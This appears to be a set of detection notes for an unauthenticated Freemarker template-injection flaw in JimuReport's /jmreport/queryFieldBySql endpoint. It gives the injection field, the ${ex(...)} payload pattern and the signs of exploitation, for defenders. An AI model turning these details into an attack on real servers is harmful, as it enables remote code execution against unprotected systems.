  • Look for POST requests to /jeecg-boot/jmreport/queryFieldBySql with a JSON body containing Freemarker template injection payloads (e.g., ${ex(...)}) in the 'sql' field.
  • Alert on HTTP responses to /jmreport/queryFieldBySql returning HTTP 200 with Content-Type application/json and body containing 'success', which may indicate successful exploitation.
  • Monitor for outbound DNS or HTTP callbacks from the server hosting JimuReport, which may indicate successful SSRF/RCE via the Freemarker ex() function in the sql parameter.
  • ·The vulnerable endpoint /jmreport/queryFieldBySql is unauthenticated (unauthorized API), meaning no credentials are required to exploit it. Ensure network-level controls restrict access to this endpoint.
